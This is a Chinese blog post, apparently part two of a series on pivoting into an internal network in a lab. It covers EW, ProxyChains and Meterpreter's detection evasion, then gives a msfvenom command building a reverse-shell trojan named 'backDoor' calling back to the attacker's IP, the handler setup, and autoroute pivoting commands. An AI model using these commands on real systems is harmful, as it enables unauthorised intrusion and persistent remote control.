内网渗透技术实战(二)

370 阅读5分钟

通过上面的渗透,第一个DMZ区的靶机已经被完全控制了。所谓是“明修栈道,暗度陈仓”,拿下了“敌方”的一个阵地,可以把DMZ靶机作为反向代理,指使它按照我的指令“干破坏”,并反馈工作过程和结果。

一、搭建代理环境

在动手之前,我先脑补一些“理论”知识。启发大家后面渗透此操作的思路。

1 .EW简介

EW是一套便携式的网络穿透工具,具有 SOCKS v5 服务架设和端口转发两大核心功能。该工具能够以 “正向”、“反向”、“多级级联” 等方式打通一条网络隧道,直达网络深处,用独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内。该工具共有 6 种命令格式:(ssocksd、rcsocks、rssocks、流量转发参数)、(lcx_slave、lcx_listen、lcx_tran、端口转发参数)。它支持的平台列表如下:

1.ew_for_Win.exe 适用各种Windows系统(X86指令集、X64指令集) Windows7、Windows XP

2.ew_for_Linux32 各常见Linux发行版 (X86 指令集 CPU) Ubuntu(X86)/BT5(X86)

3.ew_for_linux64 各常见Linux发行版 (X64 指令集 CPU) Ubuntu(X64)/Kali(X64)

4.ew_for_MacOSX64 MacOS系统发行版 (X64 指令集) 苹果PC电脑,苹果server

5.ew_for_Arm32 常见Arm-Linux系统 HTC New One(Arm-Android)/小米路由器(R1D)

6.ew_mipsel 常见Mips-Linux系统 (Mipsel指令集 CPU) 萤石硬盘录像机、小米mini路由器(R1CM)

   有关更多这方面的理论知识,大家可以我公众号里之前写的文章。

2 . ProxyChains 介绍****

  ProxyChains遵循GNU协议的一款适用于linux系统的网络代理设置工具。支持的认证方式包括:SOCKS4/5的用户/密码认证,HTTP的基本认证。允许TCP和DNS通过代理隧道,并且可配置多个代理。

    ProxyChains适用于以下几种场合:需要通过代理上网,或者需要突破诸如设置了端口限制的防火墙;要使用telnet,ssh,wget,vnc,apt,ftp,nmap等应用。甚至我们可以通过ProxyChains设置反向代理来让你能够从外部访问你的内部局域网。突破防火墙限制访问互联网。ProxyChains可以与任意程序结合使用,甚至网络扫描。

3 . meterpreter介绍****

********这个大名鼎鼎的工具就不多美言了。Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此入侵检测系统很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它也比较困难。

  最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。

   meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况

4. 木马植入

我们使用meterpreter生成一个木马并植入到DMZ服务器。

Msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >./backDoor

图片

当这些准备妥当后,我们可以使用meterpreter反弹shell。开启msf控制命令行,根据靶机信息做好设置并运行,等待靶机木马程序被运行后,就可以反弹shell了。

msf6 > use multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload   linux/x86/meterpreter/reverse_tcp

payload => linux/x86/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set lhost 攻击机IP

lhost => 172.22.99.150

msf6 exploit(multi/handler) > set lport 6666

lport => 6666

msf6 exploit(multi/handler) > run

现在,我们可以通过运行下面命令获取内网网段地址。

run get_local_subnets

图片

  第一个网段是当前可访问的,另一网段192.168.52.0/24估计是联接另一个网络。我们需要添加一条到192.168.52.0/24的路由:

run autoroute -s 192.168.52.0/24

图片

       发现192.168.52.0网段后,我们使用udp_probe模块进行存活主机扫测。此时我遇到了一个问题没有解决,该网段不是只有一个Win7主机(192.168.52.30),还有一个linux主机,但是没有能扫测出来。这个问题先放一放,下次再解决。

图片